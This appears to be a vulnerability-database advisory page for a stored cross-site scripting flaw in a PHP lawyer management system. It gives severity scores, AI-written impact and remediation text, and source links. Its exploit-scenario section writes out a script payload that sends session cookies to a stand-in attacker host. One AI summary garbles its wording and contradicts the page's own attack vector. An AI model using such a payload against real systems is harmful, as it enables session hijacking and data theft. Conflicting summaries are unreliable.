Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS score of 3.5 appears low, the real-world risk is moderate when factoring in multiple signals. The attack vector is network-accessible (AV:N), requires low complexity (AC:L), and demands low privileges (PR:L) with user interaction (UI:R), making exploitation straightforward. The CVSS evidence tag (E:P) indicates proof-of-concept code is publicly available, significantly increasing exploitation likelihood. The key mitigating factor is the requirement for low-privilege user authentication and user interaction, which limits opportunistic attacks. However, the public POC disclosure on GitHub and the relatively simple nature of XSS vulnerabilities in PHP applications suggest this vulnerability will likely see active exploitation attempts. This is not a zero-day scenario; it is a known vulnerability with documented exploitation paths. Organizations running Lawyer Management System 1.0 should prioritize patching or upgrading, particularly if the application is internet-facing or processes sensitive client information (as is typical for legal practice management systems). |
| Exploit ScenarioDerived | An authenticated user with low-privilege access (such as a paralegal or receptionist) could craft a malicious booking request by injecting JavaScript code into the Description field of the /lawyer_booking.php form—for example, <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When a lawyer or administrator views the booking details, the injected script executes in their browser context, silently exfiltrating their session cookies to the attacker's server. The attacker could then impersonate the administrator to access client records, modify case information, or extract sensitive legal documents. The public POC available on GitHub lowers the barrier to entry, making this attack accessible to less-skilled threat actors. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 24, 2026
A stored cross-site scripting (XSS) vulnerability exists in projectworlds Lawyer Management System version 1.0 within the /lawyer_booking.php file, where the Description parameter fails to sanitize user input before rendering. An authenticated attacker can inject malicious JavaScript that executes in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized actions. A proof-of-concept exploit has been publicly disclosed on GitHub, and the vulnerability carries a CVSS score of 3.5 with evidence of public exploitation.
RemediationAI
Immediately upgrade projectworlds Lawyer Management System to the latest patched version released by the vendor (consult https://vuldb.com/?id.352494 for patch availability and version numbers). If an immediate patch is unavailable from the vendor, implement input validation and output encoding fixes by reviewing the /lawyer_booking.php file to ensure all user-supplied data in the Description parameter is sanitized using htmlspecialchars() with the ENT_QUOTES flag or equivalent encoding functions before rendering to HTML. Additionally, implement a Web Application Firewall (WAF) with XSS detection rules to block malicious payloads targeting the /lawyer_booking.php endpoint, and restrict administrative access to the booking module to trusted IP ranges. Conduct a security code review of all user-input handling in the application and implement Content Security Policy (CSP) headers to mitigate XSS impact even if input validation is bypassed.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected or stored cross-site scripting (XSS) flaw classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects the PHP-based Lawyer Management System (cpe:2.3:a:projectworlds:lawyer_management_system:*:*:*:*:*:*:*:*), specifically in the /lawyer_booking.php endpoint where the Description parameter is processed without adequate HTML entity encoding or input validation. The root cause stems from insufficient output encoding when user-supplied data is rendered to the HTML DOM, allowing attackers to break out of intended data contexts and inject arbitrary client-side code. This is a classic web application vulnerability in PHP applications that fail to utilize functions like htmlspecialchars() or equivalent sanitization libraries.
Know when Lawyer Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability has been found in projectworlds Lawyer Management System 1.0. This impacts an unknown function of the file /lawyer_booking.php. The manipulation of the argument Description leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
Executive ViewAI
CVE-2026-4626 is a low-severity vulnerability in A vulnerability involving cross-site scripting (CVSS 3.5). The limited severity suggests constrained impact, typically requiring specific conditions or local access for exploitation. Apply vendor updates when available as part of routine maintenance.
Apply vendor patch during routine maintenance. Standard cross-site scripting mitigations apply if patching is delayed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-14712
GHSA-5mf3-2qwq-wqgq
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB